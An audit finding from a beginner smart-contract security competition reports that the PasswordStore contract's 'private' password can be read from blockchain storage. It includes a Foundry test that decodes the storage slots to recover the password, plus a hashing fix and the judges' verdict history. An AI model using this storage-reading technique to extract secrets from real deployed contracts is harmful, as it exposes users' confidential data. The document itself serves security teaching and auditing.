First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`PasswordStore::s_password` private password variable can be read from storage

maroutis

Summary

The PasswordStore::s_password private variable can be read from storage by everybody.

Vulnerability Details

@> * @notice This contract allows you to store a private password that others won't be able to see.
* You can update your password at any time.
*/
contract PasswordStore {
error PasswordStore__NotOwner();
​
address private s_owner;
@> string private s_password;

As mentioned in the comments, the password value is not supposed to be accessible by entities other than the owner. Even though, a private variable cannot be directly accessible from the contract, any data stored on the blockchain can still be read from storage no matter what visibility the stored variable has (immutables can be read from contract bytecode).
In this case, both PasswordStore::s_password and PasswordStore::s_owner variables can be read from storage.

Impact

Anyone can read the password ! If the password is used to lock/unlock something important like a vault, the protocol will be completely compromised.
For the contract PasswordStore, the core functionality which limits access to the PasswordStore::s_password is compromised.

Proof of Concept

You can execute the following test using the command : forge test --mt test_non_owner_can_read_password -vvvv

function test_non_owner_can_read_password() public {
vm.startPrank(owner);
string memory passwordRead = passwordStore.getPassword();
vm.stopPrank();
​
address hacker = makeAddr("Hacker");
vm.startPrank(hacker);
​
// @note The following code works with every password string size up to maxSize = 127 bytes or total length in slot = (maxSize * 2) + 1 = 255 bytes
​
// Check the slot value
bytes32 passwordSlot = vm.load(address(passwordStore), bytes32(uint256(1)));
​
uint256 SLOT_SIZE = 32;
// Keep only the first byte (max size of string = 127 bytes <=> length = 255 bytes)
bytes32 mask = 0x00000000000000000000000000000000000000000000000000000000000000FF;
bytes32 maskedPassword = passwordSlot & mask;
​
bytes memory passwordData;
bytes memory trimmedPasswordData;
​
// check if string password value has 32 bytes or more
if (maskedPassword == passwordSlot) {
// Each 32 bytes slice of the password bytes is stored on a single slot
// rounding up division
uint256 slotsUsed = ((uint256(passwordSlot) - 1) / 2 + (SLOT_SIZE - 1)) / SLOT_SIZE;
// loop over number of slots (for passwords size > 32 bytes)
for (uint256 j = 0; j < slotsUsed; j++) {
passwordSlot = vm.load(address(passwordStore), bytes32(uint256(keccak256(abi.encode(uint256(1)))) + j));
​
if (j < slotsUsed - 1) {
// concatenate each 32 bytes slice to passwordData
passwordData = abi.encodePacked(passwordData, passwordSlot);
​
// For the last slice trim the trailings 0s padded to passwordSlot
} else {
uint256 length = SLOT_SIZE;
while (length > 0 && passwordSlot[length - 1] == 0) {
length--;
}
// write non padded values into passwordData
bytes memory passwordDataTemp = new bytes(length);
for (uint256 i = 0; i < length; i++) {
passwordDataTemp[i] = passwordSlot[i];
}
passwordData = abi.encodePacked(passwordData, passwordDataTemp);
}
}
}
// if string password has maximum 31 bytes
else {
// mask the length data in passwordSlot
bytes32 SecondMask = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00;
passwordSlot = passwordSlot & SecondMask;
​
// Trim the trailings 0s padded to passwordSlot
uint256 length = SLOT_SIZE;
while (length > 0 && passwordSlot[length - 1] == 0) {
length--;
}
// write non padded value into passwordData
passwordData = new bytes(length);
for (uint256 i = 0; i < length; i++) {
passwordData[i] = passwordSlot[i];
}
}
// check that passwords match
assertEq(string(passwordData), passwordRead);
}

Tools Used

  • foundry

Recommendations

  • It's better not to store any sensitive data in the blockchain.

  • However, if storing a password is core to the protocol, then rather than storing the actual value, the value must be hashed before storing. This way, it would be impossible for anybody but the owner to figure out the real password.

- string private s_password;
+ bytes32 private s_hashedPassword;
- function setPassword(string memory newPassword) external {
- s_password = newPassword;
- emit SetNetPassword();
- }
+ function setPassword(string memory newPassword) external onlyOwner {
+ s_hashedPassword= keccak256(abi.encodePacked(newPassword));
+ emit SetNetPassword();
+ }
Updates

Lead Judging Commences

inallhonesty Lead Judge
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Invalidated
Reason: Other
maroutis Submitter
almost 2 years ago
inallhonesty Lead Judge
almost 2 years ago
maroutis Submitter
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.